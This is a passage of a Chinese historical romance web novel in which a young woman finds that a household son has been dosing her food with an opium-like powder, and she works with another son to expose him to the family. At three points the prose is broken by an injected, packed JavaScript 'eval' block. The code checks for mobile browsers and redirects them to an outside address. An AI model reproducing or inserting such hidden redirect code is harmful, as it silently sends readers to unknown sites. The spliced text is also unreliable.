“你与老大的婚事。”侯夫人拍了拍她的手，语重心长，“多拖一日便是夜长梦多，尽早定下来才好。” 从前以为只有个老二惦记，不成想那明晏那兔崽子竟也敢打白婳主意。 侯夫人自然是也想到了名声层面，有些事情一旦闹开，便是无可挽回的局面。 翌日清早，白婳又去了趟药房找叶大夫。 “……几日前不慎，手心给划破了，想问问叶大夫可知京中哪家药房医馆，名声好东西齐全的？”白婳开门见山道。 要打听这些门道，自然是找行内人问着更靠谱。 叶大夫困惑：“小人这里也有上好伤药……” “还想去寻些祛疤的方子。”白婳笑着说。 叶大夫没再多问，只道：“城东保和堂、朱雀大街瑞安药坊，这两家有口皆碑，白婳小姐可去问问。” 白婳道了谢，带了只斗笠，叫小厮套了一架不起眼的单乘小马车，从府内角门悄悄出去了。 为了掩人耳目，她特意没带海棠，让平日不常在人前露面的银杏跟着。 马车穿过一道巷子，没往主街去，走了少人的小路。 银杏与车夫坐在前头，一恍而过。 “公子？”丁昭叫了声明肆，不明所以往他视线方向看过去。 一架不起眼的马车。 “看什么呢。”同行的燕世子也打马过来。 明肆骑在马上，问道：“那边是什么方向？” 他与丁昭都离开汴京三年，城中布局早已变化，但燕世子玩得熟。 只扫了眼，便信手拈来：“醉春居、百香坊，还有宁氏布庄？问这干什么，朱雀大街上的铺面没什么好逛，要出去耍乐，吃的喝的我熟，改明儿我做东，叫上靖王殿下……诶你干什么去？” 话没说完，明肆便打马走了。 燕世子问丁昭：“你家公子看见什么了？” 丁昭也不明所以，摇摇头跟了上去，刚追上又被遣了回来传话。 对燕世子道：“公子叫咱们去茶楼等他，他过会就到。” 瑞安药坊不是汴京中铺面最大的，但坐诊的大夫医术了得，出了许多偏门有效的奇方，专治疑难杂症，慕名而来者不在少数。 朱雀大街繁华，今日不知哪户人家嫁娶经过，敲锣打鼓堵得水泄不通。 好在车夫很有经验，便避开了拥堵的主街入口，从相邻的积水巷子穿过去。 “小姐，前头马车进不去，几步路穿过去就是朱雀大街了。”车夫回头道。 白婳带着银杏往巷子里去，取了斗笠戴上。 不知道那粉末是何物，外头的药堂人多眼杂，她不想叫人看见脸。 结果出了巷子，那敲敲打打的声音越发隆重。 好巧不巧，今日竟正好是那瑞安药坊的掌柜儿子娶媳妇，门口熙熙攘攘挤满了人。 白婳无奈：“……走吧，去城东。” 刚转身，被身后的一马一人给吓了一跳。 前头的锣鼓声太吵，她和银杏竟都没听见后头的马蹄声。 明肆个高，目光越过白婳头顶往前看去。 虽然外头人多，但瑞安药坊的牌匾一清二楚。 白婳还戴着斗笠，忽然想起来前些日子明肆登门的时候，在葳蕤院里见过银杏一面。 明肆下了马，银杏低眉给他见礼：“二公子。” “嗯。”明肆目光落向白婳，眸子黑沉沉的，全是探究，好像能把她洞穿。 隔着一道纱帘，白婳定了定心神，刚要开口，被明肆先朝银杏问了句： “小姐这是出来做什么？” 银杏：“小姐前些日子伤了手心，不慎发炎，出来寻个药方。听闻瑞安药坊祛疤膏也极好，所以来看看。” 白婳预感他在套话，但没来得及拦住银杏的嘴。 明肆的眸子又深了几分。 叶大夫不知她伤口情况如何，明肆却知道。其实不过是很细的一道划痕，况且那日是当着他面前上的药。 这理由不止骗不了他，反倒成了马脚。 没挂明府官旗的马车、没带常用的大丫鬟，还戴了个斗笠悄悄摸摸从小巷子走。 这些谨慎之处，此刻全都成了马脚。 要怪就怪明肆对待与她相关的事，像只闻不得鱼腥的猫。 一点点气味，都要跟着看看究竟，扒个底朝天。 “有什么难处，跟我聊聊。”明肆的声音淡淡，总显几分散漫，“或者我去跟我娘问问情况。” 银杏茫然看了眼自家小姐。 白婳心下暗叹，妥协道：“可否先回府。” 明肆：“可以。” 葳蕤院偏厅里，白婳叫丫鬟摆了花茶和点心，屋里只留了海棠伺候。 门开着，秋冬里难得有些暖阳，照过门槛来，看着有些让人犯懒。 其他丫鬟都在庭院外，能瞧见里头主人家的情形，却听不见屋里说话。 “……其实也不是什么要紧事。”白婳亲自给他斟了杯茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694676|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是日前一个朋友托着打听一味药材，牵扯女儿家的颜面，便想着隐蔽些。” 明肆：“哪个朋友，姓甚名谁？” 白婳垂下眸子，将茶推过去，“姑娘家面皮薄，二公子还是不要过问太多吧。” “薛芳漪？”明肆问。 “……”且不说明肆信不信，白婳也不想胡乱编排薛芳漪给她留隐患，“不是。” 他没喝那杯茶，只攫着白婳的目光。 “那是谁？” 白婳难得感觉到，他有些咄咄逼人。 她有些不悦。但又因有所顾忌，不好像往常般冷落处理。 只能接着道：“二公子不认识。” 明肆盯了她片刻，才说：“白婳，你不会骗人，说实话。” “……”白婳跟他对视的眼神像被烫了一下，没忍住避开一瞬，再看回来时，发现明肆还在看她。 白婳不知他为何将这件事揪着不放。 那神情，好像在办很严肃的事情。 白婳觉得或许中间有什么误会，他莫不是以为，她在行什么害人的勾当。 “二公子，我能保证的是，绝无行对侯府不利的事情。”她抬眸看着他，“至于剩下的，能否别问了，就当作不知道，替我保守秘密。” 从他回来，白婳一直避嫌，几乎没有这样正眼与他对视过。 明肆看了片刻，才道：“保不了。” 白婳：“……” “你将东西给我，我替你问。”僵持之时，明肆换了个商量的口吻，“叶大夫医术了得，若他都不识得，你去外头能问到的机会也不大。寻你把自己藏这般严实，想来也知道不会是什么好玩意，既然诸多不便，不如托付给我。” 白婳心头微动。 明肆察言观色了得，接着道：“燕王府的府医曾是宫中太医，必定见多识广，我可托燕世子帮个忙。我去开口，不会怀疑到你头上，更别说你朋友，不算泄了她的密。” 王府的府医，自当规矩森严，不会乱讲话。 比起市井之中坐诊的大夫必定好得多。 “……如此，会不会太麻烦。”白婳心中觉得可行，但还是有些顾忌明肆。 “不麻烦，比你出去抛头露面万一被认出来，脏水溅自己一身，要来得好。”明肆说着，朝她摊手。 白婳看着那只手，没再犹豫多久。 她将纸包递上：“有劳，还请二公子务必保密。若成，我欠你一个人情。” 拿到东西，明肆神色松快几分，“好说。等我消息。” 他没多留，风风火火走了。 明肆的动作相当快，不过一日，便问出了结果。 还是偏厅的客座，海棠将人请进来，白婳已经泡好了茶在等他。 有事相求，白婳脸上比之前多了些笑。 不料明肆进门时候，脸色却阴沉得有些不对劲。 白婳看着一愣，起身的动作都慢了些，看一眼他身后跟进来的海棠。 海棠也不知缘由。 明肆黑沉沉的眸子盯着她，白婳甚至被他盯得有些发毛。 “……二公子，是东西有眉目了？”她轻声问。 明肆睨了眼海棠：“你去庭院外候着。” 11. 答应我 海棠愣了愣，看向白婳。 白婳隐约察觉到了什么，解释道：“海棠是我的人，二公子但说无妨。” 明肆笃言：“叫她出去，单独说。” 白婳迟疑片刻。想不通那色粉是什么东西，能叫明肆这般阵仗。 他会不会故弄玄虚，实则使坏？ 葳蕤院是她的地方，明肆虽行事我行我素，但与三公子还是大有不同。 他不至于此。 白婳定了定心神，朝海棠道：“你去吧。” 海棠也有些不放心，欠身应了句是，又道：“……姑娘有事招呼一声，奴婢随时候着。” 结果她出去后，明肆跟去将门也给关上了。 白婳心里紧了紧。 屋内登时暗了一截，只外头的天光透过窗纸朦胧透进来。 她按捺心神，“二公子现在可以直说了。” 明肆走到跟前来，眼神带着些情绪，紧紧盯着她，似要将人洞穿。 白婳下意识后退半步，他若再上前，她便要叫人。 “白婳，你老实告诉我，这东西从哪来的。”明肆眸底反着暗光，口吻严肃。 他这模样让白婳有些发懵，涌上一股不太好的直觉。 “这究竟是什么东西？” “回答我。这东西是不是你朋友给的，如果真有这么个人，她是谁，一五一十交代清楚；若无此人……” 白婳无端浑身一麻。 明肆仔细端量她，不像知情的模样，大约是遭人利用。 “谁给你的？说话。”他又再逼近一步。 “白婳，我没在跟你开玩笑，如实交代，尚有转机，若你要包庇维护，他这是叫你去死。” 白婳后腰碰到了案几，桌上的茶杯颤了颤。 他似一堵墙逼着她。 “这是三公子叫人偷偷下在我饭食里的。”白婳道。 明肆瞳孔颤动：“你吃了？” 白婳被他的神色吓一跳，赶紧道：“没有，我发现的早，那丫鬟早先被我买通。” 先否认后，才又问：“这到底是什么？” 听她这么说，明肆吊着的心脏才终于落在了实地。 “这叫桃花散，是朝廷严令禁止的邪物，从缅甸传来，前朝灭亡的祸首之一，便有此物。”他声音发寒。 白婳哗然色变：“鸦片？” 她心头巨震，惊悸与怒火同时冲到顶峰，恨不能将明晏千刀万剐。 “剂量很小，吃下去昏昏欲睡，睡梦中飘飘欲仙，一沾成瘾。”明肆说。 白婳深知此事轻重，不敢再有隐瞒。 她将穗子和点翠阁撞见三公子私情的事都跟明肆和盘托出。 “后来丫鬟每五日送来一包，那日二公子将他踢下水时，大约就是他以为事情快成能拿捏住我，打定我不敢声张，才忽然那般大胆。” 白婳的拳头紧了又紧，却见明肆一双眼仍在凝视她。 “二公子，秋白婳以亡故父母在天之灵起誓，此物我绝未沾染分毫，若有虚言，叫我不得好、” “诶。”明肆抬手将她打断，那手虚虚按在她嘴前，“好了，我信你。” 白婳松一口气。 要问的全都有了答案，明肆的脸色这才些许松散下来。 白婳起先觉得他挂脸太过故弄玄虚，这会儿感激他思虑周全严防死守。 她甚至阵阵后怕。稍有差池，引火烧身。 不止是她，整个明府都要被牵连下水。 白婳：“二公子，燕世子那边……” “他知晓轻重。”平时不着调，大事上，明肆对他还是放心。 “那就好。”白婳点头。 最初的惊诧过去，重心便重新回到明晏竟歹毒至此的念头上。 白婳想开口说什么，却被明肆领先截断了。 他稍微停顿，“要说什么？” “二公子先。”白婳道。 明肆：“把剩下的桃花散给我，这件事我来处理，你别管了。” “不可。”白婳要说的也是这，“他是冲我来的，只有我能引他露马脚。这事太大，光靠嘴说是不成的，要他奸计败露，唯有设计叫他自挂东南枝。” 明肆还有心思笑：“你是这么理解这句的？” 白婳有些不好意思：“我是说叫他自寻死路。” 明肆本意是不想叫她牵扯到这种腌臜中来，但白婳所言，不无道理。 她又道：“现在三公子已相信我中招，必定心痒难耐。他不是个有耐心的人。” 明肆盯她半晌，道：“不可涉险，事前先与我商议。” 这是他提出的条件。 白婳应下：“好。” 明肆面色寡淡：“别嘴上答应得好。” 从小到大，他跟白婳叮嘱的事，她没有一件是听过话的。 她从不吃眼前亏。 反正事前应了，事后他也算不出多大的账来，躲着不见便是。 “……”白婳眼睛微微一闪。 明肆也不恼，只淡道：“你要做套引老头子过去，就得有人帮忙。” 剩下的利弊不用多说，她不是傻子，能想明白。 白婳：“那便再麻烦二公子一回，此事若成，感激不尽。” 明肆离开葳蕤院前，还是要走了剩下那几包桃花散。 这东西放在白婳院子里就是个隐患，他不放心。 转眼过了立冬，严霜落大地。 明晏一直盯着葳蕤院那边的动静。 白婳出门越来越少，偶有路过，远远瞧上一眼，她仪态有些不如从前。 走路虚浮，总也像没劲，眼窝下的倦容也是能叫人分辨出的。 明晏从五日前就断了她的桃花散，她这会儿该是成日浑身不自在，但却又不知究竟为何。 明晏很得意。 再吊她两日，磨磨她的性子，届时他再出现，变成她的救命稻草。 几日后，侯夫人受邀，要去给燕王府老太君做寿。 老太君今年六十五，虽不是整寿，但也比别的散生隆重。 侯夫人膝下无女，从前这种时候，少不得要带上白婳。 但今日丫鬟来传，白婳却以身子不适为由推辞了。 侯夫人没多想，叫人叮嘱她好好休息，便独自赴宴去了。 她一走，白婳便带着海棠去了点翠阁。 今日不止大夫人不在府中，连明忠海都有军务在身，出城往西郊大营阅兵去了。 十日前停掉的桃花散便是个明显的信号，今日即便再过火， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694677|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里也没人能给白婳撑腰，明晏必然不会放过如此时机。 唯一的变数是明老二。 明晏想。 但那又如何，白婳已是瓮中之鳖，若老二今日敢插手，那便是天赐良机，正好叫白婳反咬他一口。 他搓了搓手，刚要出门，便眼见白婳从撷芳院外经过。 看方向，是往点翠阁去了。 明晏笑得像狐狸，跟了上去。 刚到点翠阁外，便听见里头的吵嚷声。 是白婳在摔东西，好像骂了海棠几句，便把人赶出去了。 明晏成竹在胸，十日没沾桃花散，她开始脾气暴躁，再正常不过了。 他藏在夹角暗处，等海棠过去了，才轻巧吹了声口哨，进了点翠阁。 里头白婳两手撑在画架上，看起来没什么精神。 “白婳妹妹。”明晏声音轻佻叫她。 白婳吓一跳，见是他来，忌惮往外看了眼，站起身看着像是想叫海棠。 “坐下坐下，嘘。”明晏手往下安抚她，语重心长的模样，“跟三哥聊两句。” 白婳自是不会听他的。 “听闻你近日睡不好。是睡不好犯困，还是夜里睡得如梦似幻，醒了却还是觉得困顿？”明晏慢条斯理道。 白婳一顿，有些拿不准他的意思。 明晏笑笑：“所以要你听话坐下。咱们聊聊。” “三公子刚才那话是什么意思？”白婳警惕问。 “没什么意思，要不像我说的那样，倒还好。万一真是这种症状，那可要仔细了，千万不能大意。”明晏板着脸故弄玄虚，“我听人说啊，前朝有种叫人□□的东西，叫桃花散。跟你这个症状很像啊。” 白婳脸色一白，“你在胡说八道些什么。” 她大步要往外走，明晏也不着急，闲散拨弄着指甲，淡道：“你今儿个出不了这个门。白婳啊，你这么聪明，心里应该多少也有点数，栽了就是栽了。” 白婳的身形定住，不可置信看向他：“你究竟什么意思，你对我动了手脚？那可是抄家灭门的东西！” 她嗓音失控，明晏似被吵到，食指在嘴唇上抵了下：“低声些，你想叫得人尽皆知吗？现在三哥还能帮你遮掩一二，真要闹开了，三哥也保不住你。到时候你觉得老头子会不会把你推出去乱棍打死，求个家风森严的口碑？” “桃花散无解，沾上就是一辈子的事，别想着能戒掉。”明晏不怀好意盯着她，两指夹起一个纸包，“有些日子没吃了，难受吧，馋吗？到三哥这来……” 话没说完，明忠海已经怒冲冲闯了进来。 “你个逆子！”他抄了椅子就往上砸。 明晏见到鬼似的掉头就跑：“父亲！别！” 椅子哐啷一声摔在地上，到底没砸到人。 明忠海一脚踹翻画架，折了木棍在手，怼着人一通好打。 武将下手又准又狠，明晏被打得连滚带爬，点翠阁里的画作，大半都遭了殃。 明肆走到白婳身边来，一同冷眼看着。 她提前准备，已将画都挪走换成泼了墨的宣纸。 很快明忠海一棍子抽在明晏的脊背上，他受了内伤，哀呼声眼见的小了下去。 就在这时，柳姨娘从外头匆匆进来。 12. 闹剧 跪在明晏身边，梨花带雨向明忠海求饶：“老爷，不能再打了，老三犯了什么错，都是我这个做娘的没教好，您要打就打我吧！” 她本就生得楚楚可怜，跪在那更惹男人怜悯。 明忠海扬起的一棍子到底是没能落下去，指着她怒骂：“你教出来的好儿子！” 明晏预备下手，柳姨娘是知情的。 这几日便一直遣人关注着外头的风声，这才能及时赶过来救人。 “老爷，妾身就这么一个儿子，上次在祠堂罚跪本就伤了元气，大冬日里又被二少爷踢落了水，他是个读书人，身子骨本就弱，这几棍子能要了他的命啊……”柳姨娘啜泣着，“老爷，白婳小姐，有什么气，一家人，就饶他一命，到底血浓于水……” 白婳安静看着她：“姨娘怎么知道与我有关。” 柳姨娘哭声一顿。 明忠海眼珠子瞪大：“你也知晓？你就放任你儿子胡闹？那是抄家灭门的死罪！” 柳姨娘慌忙摇头：“妾身真的不知，只是老三上次挨打落湖，便是因着与白婳小姐多说了几句话，您也在场，妾身才会有此猜测。” 白婳：“他所作所为令人发指，和谁都没有关系，是他自己找死，带着全家人一同找死。” 柳姨娘听不得死字，朝明忠海哀求：“老爷，老三不管做错了什么，再不医治，命都难保，您真的要打死您的亲生儿子吗？” “打死他都是死有余辜！”话虽如此，他却将手中棍子用力一砸。 白婳看明忠海一眼，有些不可置信。 明肆捡了他丢的棍子，一声不吭，上前就是一闷棍。 ——明忠海打不死的，他来代劳。 柳姨娘被他的脸色吓住，尖叫起来：“二公子！” 这一声是真的慌了，一直躺在地上装死的明晏赶紧滚了两圈，还是被打了肩膀，清晰的骨裂声伴随着哀嚎。 明晏连滚带爬一把抱住明忠海的腿：“父亲你救救我，老二要杀我！他真下得去手！” “滚开！”明忠海踢了他一脚，明晏摔在一边，他又竖着眉毛朝明肆喝道：“你也把棍子放下！” 明肆眼里冒火，气势比他老子还高：“你是老糊涂了？他干的那叫人事？我今天非打死他不可。” “你放肆！”明忠海何曾被儿子这般忤逆过，“那是你弟弟！” “我娘没给我生弟弟。”明肆的眸子黑沉沉盯着他，“即便是我亲弟，做出此等卑劣无耻之事，我也要清理门户。” 明肆半分不让，明忠海气得破口大骂：“老子人还没入土，轮的上你清理门户！” 明晏趁机大叫：“他就是打秋白婳的主意，贼心不死！在这冲冠一怒为红颜——” 明肆越过明忠海就要弄他，明忠海下不来台，一把攥住明肆的衣领：“小兔崽子我看你今天敢！” 场面忽然混乱起来。 安全起见，桃花散三个字自然是越少人知道越好，方才明肆去引明忠海过来时，身边特意没带小厮。 白婳不能光在旁边看着，赶紧上去将父子二人分开。 “侯爷！二公子！”她推着明肆的胳膊，结实紧绷着，蕴藏着精悍的爆发力。 明忠海冷哼一声，这才撒了手。 柳姨娘还在啜泣、三儿子不成器在地上哀嚎、眼看着要成器的二儿子举着棍子恨不得要打老子。 这鸡飞狗跳的一家子。 他今日本来要去阅兵的，公务半途被打断，他根本不想插手这些内宅的糟心事。 ——这些原本是他侯夫人要操心的。 明忠海不会觉得自己偏心柳姨娘母子，只觉得是戚氏没有管束好内宅。 他看向秋白婳，到底还是惦念几分旧部之情，对她道：“白婳，老三混账，叫你受惊了。这事既然你是受害者，该怎么办，你来说。” 白婳明白过来。 明晏的歹毒，在她看来该千刀万剐。 但这祸事并未发作闹大，并未踩到明忠海的痛处上。 所以他并未打算严惩。 “这是家丑，不能报官，咱们关起门来解决。他也挨了打，受了教训，再罚老三搬去祠堂后头的独室禁足半年，每日跪两个时辰祠堂，如何？” 白婳尚未出声，明忠海自己先开了口。 明晏今日挨的那几棍子全打在实处，在明忠海看来，再加上半年的禁足，已是足够照顾秋白婳的情绪了。 明肆：“就这？你偏心小妾未免太过了些。” “那你要如何？手刃你亲弟？明肆，你是否也偏心太过了？”明忠海意有所指凝视着他，“你是要回来科考的人，再这般四处胡闹，我索性也禁了你的足，正好叫你安心备考。” “我胡闹？”明肆气笑，“他今日敢拿这种抄家灭门的东西害人，以后就敢往你饭里拌耗子药，这种祸害你不处置还留着过年？就算不杀，最少也是捆了送去余岭老家思过，终身不得回京。” 白婳心头一动，觉得可行。 柳姨娘一听急了：“使不得侯爷，余岭距京城何止千里之遥，那位置穷乡僻壤，老三还要科考，您不能断了儿子一生的路啊。” 说着她朝白婳道：“白婳小姐，妾身知道您受委屈了，就看在大家都是一家人的份上，您开开恩吧，妾身愿意终身吃斋念佛，以后一定好好管束他。” “老爷，您发发慈悲，妾身身子弱，就这么一个儿子，当年生他险些送了半条命，您将他送走便是要了我的命……”柳姨娘拉着明忠海的衣摆哀求。 这时，门外二房老爷夫人路过，听见吵闹前来看了眼：“大哥，可是出了什么事？” 明忠海本就心烦气躁，也不想叫再多人看热闹。 他拂袖而去：“此事就这么定了，谁再说嘴，我一起罚！” 冬雪簌簌往下掉，很快便覆盖了整个汴京城。 那日点翠阁闹了一场之后，明疏的清霜院也听到了些消息。 知道此中原因与白婳有关，但不知具体。 明疏去了趟葳蕤院，询问白婳，是否因为上次门口的事情与三公子结了梁子。若真是明晏心胸狭隘至此，来寻她麻烦，明疏觉得他可去向柳姨娘聊聊。 那时白婳只摇头，并未对他多说什么。 她不想给大公子添麻烦。 这个家里真正能做主的是明忠海。 他的态度摆在那，任何人去都只是白费功夫。 “只是一些口舌之争。同住在一个屋檐下，难免磕磕绊绊的。侯爷看重我，才罚了三公子。眼下他禁足半年，想来也能平平心气，不会再生事端。”白婳说。 明疏听出了她的避重就轻。 白婳从来都很向着他，这些年能忍下的事情，就不会轻易麻烦他。 但她小时候，也曾是活泼率真有话直言。 后来他受伤，变得寡言，白婳的性子也跟着一道内敛了。 可又是从什么时候开始，她对他变得如此客气。 明疏心里恍惚知晓答案。 此刻看着白婳恬静带笑的脸，却忽然觉得心口有些堵塞。或许是他在一次次的抽离中，不知觉将她给推远了。 这些年明疏对白婳仍有偏宠照顾，他自以为将身份转变得悄无声息。 但人不是物件，尤其白婳这般聪颖通透的姑娘。这是他自作自受的后遗症。 明疏瞧着她，伸手摸了摸白婳的头发。 他说：“珍珠，不要怕给我添麻烦。你永远不会是麻烦。” 白婳笑着点头。 此事蒙在鼓里的还有侯夫人。 那日她赴宴回来后，就听闻明晏那小兔崽子挨了顿打，被扔去祠堂关半年禁闭。 柳姨娘去正院求情，明忠海没见她。 侯夫人还幸灾乐祸，道太阳打西边出来了。 后来白婳闭门不出，在葳蕤院里闷了两日。 侯夫人关心她，前来看望，询问她前些日子也不爱出门，是否需要请叶大夫来瞧瞧。 白婳只笑笑：“没有不舒服，只是天气冷了，身子犯懒，还叫母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694678|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心了。” 前些日子是装的，只这两日是真的心气烦闷，不想出门。 侯夫人又问：“那日我出去赴宴，撷芳院那个，是怎么惹到侯爷了？你在府中，可知晓其中缘由？” 白婳知道她要问的，大致与她讲了，并未提及桃花散。 如此歹毒的东西，侯夫人心疼她，势必会去找明忠海理论争吵。 那日明忠海的态度已经足够明显，危险被掐死在摇篮里，并未造成什么实质性的伤害，他都是息事宁人的。 大吵一架除了伤了他们夫妻情分，没有其他任何作用。 即便没有桃花散，侯夫人仍然觉得惩罚轻了。 白婳的情绪也不高，宽慰了几句，才将侯夫人送走。 这边人刚走，没多久海棠便进来传话，说侯爷叫她去一趟外书房。 “……可有说是什么事？”白婳一愣。 海棠摇头：“未曾，管事的就带了这么一句话。” 她微微沉吟，简单收拾了下，换了身外出的衣裳，去了外书房。 书房里，明忠海是特意在等她。 叫了她一声后，便开门见山道：“那日事发匆忙，又闹，有件事一时忘了问。” “侯爷请说。”白婳道。 “老三给你下了桃花散，你是怎么发现的？”他到底迂回了一句。 白婳知道，明忠海实则是才刚想起来，要搞清楚她究竟沾没沾上这害人的玩意。 鸦片之祸，叫人闻风丧胆。哪怕稀释成了享乐的桃花散，也是一沾成瘾，无可戒除。 这东西在本朝被严令禁止，万一有个苗头叫外头知道了，哪怕只是一个客居小姐染上。别说御史台那群笔杆子能将他骂穿，圣上也不会饶过清远侯府。 白婳看他一眼。 他心里也是知道轻重，知道害怕的。 只是板子没打在自己身上，不知道疼，才会轻巧放过始作俑者。 “我未曾误食，侯爷可放心。”她垂眸道。 明忠海听到了准话，心里才算安定下来。 二人一时无言，明忠海宽慰了一句：“这事你也受委屈了，若不是你机灵发现及时，后果不堪设想。你放心，那逆子，我必当严厉管教。” 白婳：“侯爷，三公子歹毒在心思，他对侯府，对您，并无太多恭敬眷恋。您留下他，便是留下了个大隐患。” 明忠海蹙眉。 在他印象中，白婳十分乖巧懂事。 “若无其他事，便不打扰侯爷公务了。”她欠身告退。 明忠海：“去吧。” 屋里烧了炭盆，暖得叫人透不过气，出来后外头的寒意扑面而来，反倒清明几分。 白婳不疾不缓往回走。 谈不上失落委屈与否，原本明忠海于她，便没有什么情谊可言。他护着儿子，也是情理之中的事情。 但白婳还是觉得不甘心，风也吹不走胸口的淤堵。 走过祠堂外的树林，远远瞧见柳姨娘带着两个丫鬟，手里提着大小各样的食盒往里去。 据说是明晏伤得不轻，还没开始跪祠堂，便趴在独室床上要死不活烧了一场，姨娘去跟明忠海求了恩典，先给儿子治病，其他的等人好了再说。 她日日探望，好吃好喝的伺候着。 说是禁足，不过换个地方养病罢了。 等他的病养好了，风头一过，这所谓的禁足跪祠堂还有没有效力，尚且难说。 白婳站在竹林口，又再想起明晏那副轻佻恶毒的嘴脸来。 风穿过竹林，枝叶晃动，白婳看见侧首还站了一人。 明肆也看见她了，对视一眼，他朝她走过来。 白婳穿了身雪白的兔毛斗篷，脸色素净，只发髻上一只琉璃步摇装饰。 她心情欠佳，越发透出一股遗世远人的疏离。 “二公子。”白婳同他点头。 明肆眸色深，眼中无甚情绪，抬手在她上方拂了下。 白婳以为他要摸她的头，往下轻轻一缩。 13. 剥琵琶 竹叶承不住积雪将要滑落，被明肆随手拂开，未曾落进她脖颈。 随手的一个动作，他收回手，视线重新看向宗祠。 白婳想起那日点翠阁里。 虽然未能将三公子送回老家，但劳累明肆奔走一趟，还挨了明忠海的骂，白婳心里多少歉疚。 她想了想，口头言谢太轻，还是改日登门送上谢礼，以表诚意。 二人鲜少有如此默契，谁也不曾说话，只在雪树下安静看着远处宗祠。 柳姨娘给门口看守塞了个荷包，几个人都笑眯眯的，一团和气。 静谧之间，到底是明肆先开了口：“斩草要除根。” 他从没拿明晏当兄弟。老三在书学时候，样样平庸，唯心眼七拐八绕。 明肆心气高，从小就看不上他，现在更是厌烦。 “是，要除根。”白婳难得回了他的话。 声音淡淡，也不知是在应他，还是在对自己说的。 明晏既然能想到以桃花散来牵制白婳，他背后藏的心思，就绝不止是一点一己私欲的龌龊。 他势必会将她能发挥的作用榨干。 明肆一扬眉。 觉得她说的斩草除根，与他应当不是一个意思。 白婳的视线看了很远。 “他是奔着要我死去的。” 这种东西沾上，别说是死，她还会死得满身污名。 明肆看她一眼。 却并不认为她有胆子下这个狠手。 白婳心善，手腕还是太软。 有些事情，她下不去手没关系，他来办。 日子一天天过去，转眼便到了腊月。 年节将至，家家户户都开始外出采买，筹备新年。 白婳记着要向二公子道谢，却不知能送些什么好。 若是大公子或是侯夫人，她会亲自做，绣活也好，糕点也罢，表一份心意。 但对二公子，她还是得避嫌。 既是不给自己招麻烦，也是不给明肆招麻烦。 思来想去，便趁着年货集市上东西多，叫葳蕤院的管家婆子上街看看，有没有什么时新时令的玩意，能买些回来的。 岳妈妈手脚麻利，带回来了一筐早市的琵琶。 又将白婳吩咐的砚台递过去：“东方斋买的，小二说是今早新到的上好千湖砚。” “有劳了。”白婳道。 大公子喜欢写字，白婳自己也作画，旁的她或许不清楚，唯有笔墨纸砚一类，知晓哪处产地好。 二公子读书，想来砚台也是用得上。 她又仔细瞧了眼那筐琵琶。 个头不算顶大，但黄灿灿的，冒着香气。 这个时节的水果都稀罕，离琵琶上市该还有月余，也不知岳妈妈是从哪处买到的如此新鲜的来。 小六瞧着眼睛放光：“加上糖制成枇杷酱，肯定香香甜甜。” 白婳如约将那个烧火的丫鬟要了过来，提拔她做了三等丫鬟。 事情到了这个份上，撷芳院那边也会知道是她这里出了岔子，日后便不会再用她，或许还会暗地里使绊子惩治她。 海棠笑着敲她脑门：“数你嘴馋。” 白婳也笑。 既然是送人道谢，肯定送稀罕，她捡了一篮个头最大的新鲜果子，剩下的给葳蕤院的下人们自行分食，便带着海棠往明肆的文华院去。 丁昭见着她，眼睛都亮了，将白婳请到偏厅去喝茶，遣了小厮去报信。 白婳这边刚一坐下，明肆便到了。 他腿长，迈过门槛都比旁人动作随意些。 “二公子。”白婳朝他点头。 “坐。”明肆手往下按示意她不用起身。 他应是刚从书房过来，着一身玄色长袍，没穿氅衣。 明肆坐她侧首，扫一眼案桌上的东西。 白婳顺势道：“此前牵连二公子受累，心中过意不去。一直没寻着机会，今日特意登门，聊表歉意。” “什么歉意？”明肆神情总是看不出情绪来，拿了个琵琶果，顺手剥开。 冬日的果子到底没到季节，未熟透的皮不好剥，明肆撕果皮却很有一套，三两下就剥了个干净，往嘴里咬了口。 口感尚可，略涩，微有回甘。 就像她亲自上门，虽然说的都是些划界限不中听的，但已属不易。 白婳的视线被他剥琵琶吃枇杷引走，略微沉吟，道：“若非为我的事，二公子不会与侯爷争执。” “我跟老头子向来没什么好话讲，他老糊涂，怪不得别人。”明肆拇指揩了把唇角，嗦走残留汁水，又再取了一个剥。 这次剥得慢，相对仔细。 白婳看着他的动作，隐约觉得，他会不会是给她剥的。 “……”她有些戒备，忘了本来要说的话，“总之，二公子的人情我记在心里，以后若有什么事情用得上我，二公子尽管开口。” “确实用得上。”明肆点头，白婳一愣。 他剥完琵琶，一口咬掉果肉，下巴朝砚台问：“给我买的？” 白婳：“是，挑了块千湖砚，墨色极好。” “正好，我在写策论，你给我磨墨。”明肆用干净的那只手拿了砚台，很是自然冲她一扬下巴，“来。” “……”白婳发懵，觉得不妥。 